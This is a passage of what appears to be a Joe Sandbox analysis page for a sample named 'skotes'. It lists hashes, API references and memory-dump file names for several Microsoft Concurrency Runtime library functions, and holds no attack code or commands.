Opcode ID: fa5532a83f505fe15b2bad8ffedcfd318424c5c988cdc009656e76888971d8dc
Instruction ID: 311624c324f654596d06d3c8b821e3638493610bdf8233677ce2d8e0391e9272
Opcode Fuzzy Hash: fa5532a83f505fe15b2bad8ffedcfd318424c5c988cdc009656e76888971d8dc
Instruction Fuzzy Hash: F0219F7163420AAFEF30EF659C81E6B77ADEF003647124524F828A6251E7A0EC308A60

Function 0028AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0028AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0028AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0028AF4E

Strings

pExecutionResource, xrefs: 0028AF07

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: de6733ea128c4d933f005b6885fa5db5e645eb9453c5875362707c9329b33e6b
Instruction ID: e5c03425e1934680d46de46593c2a342e781ea8f0fadd0f1771311868af9b40d
Opcode Fuzzy Hash: de6733ea128c4d933f005b6885fa5db5e645eb9453c5875362707c9329b33e6b
Instruction Fuzzy Hash: 8221B9756612059BCF08EF64C852BAEB7B5BF98310F10805DE60567282DBB0AE25CF91

Function 00284EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00284F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00284F66

Strings

ppVirtualProcessorRoots, xrefs: 00284F1C
count, xrefs: 00284EBA

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: d24e9682b057f2e105876a8f090d7a85ab1855191a43e03e9b0c89a0a59e815f
Instruction ID: 1902afdb24967ac1306c9050b6f35b6e7d8f37857034e222c49b4c80fca2adca
Opcode Fuzzy Hash: d24e9682b057f2e105876a8f090d7a85ab1855191a43e03e9b0c89a0a59e815f
Instruction Fuzzy Hash: 4621C138620116EFCB14FF68C892EAE77B5BF48310F004069E50697692DB71AA21CF51

Function 0028B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0028BA0E

Strings

RoInitialize, xrefs: 0028B998
RoUninitialize, xrefs: 0028B9C1
combase.dll, xrefs: 0028B983, 0028B988, 0028B99D, 0028B9C8

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 5a551f6f105df63df33d4a4925cd3cd6c7f9697865867057a1c991bc0cb325a1
Instruction ID: cf5d6f677d4df23d470188c46c93cb1ca66ea186dec513014c5c39657945dbf6
Opcode Fuzzy Hash: 5a551f6f105df63df33d4a4925cd3cd6c7f9697865867057a1c991bc0cb325a1
Instruction Fuzzy Hash: C501D2755A3322AAEB11BBB15C09FAB368C5F0134CF20382DE540E61C1EBA4E8314B61

Function 00286E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00286E73

Part of subcall function 00284E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00284E7F
Part of subcall function 00284E6E: List.LIBCMT ref: 00284E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00286E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00286EAA

Strings

eventObject, xrefs: 00286E7D

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 17e0588b34a54cde9863c41417da20f18a602a779ee7e19d70b876119d855245
Instruction ID: 98f74b831b57b5989ae01978e4331d8c7e4dc11a91cd22bdfc4fd4571bdcee29
Opcode Fuzzy Hash: 17e0588b34a54cde9863c41417da20f18a602a779ee7e19d70b876119d855245
Instruction Fuzzy Hash: 8411E179971215E7DB24FBA4CC8AFEE73B86F01748F204515B509A60C1DB70AA24CB61

Function 0028A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0028A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0028A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0028A139

Strings

pScheduler, xrefs: 0028A131

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
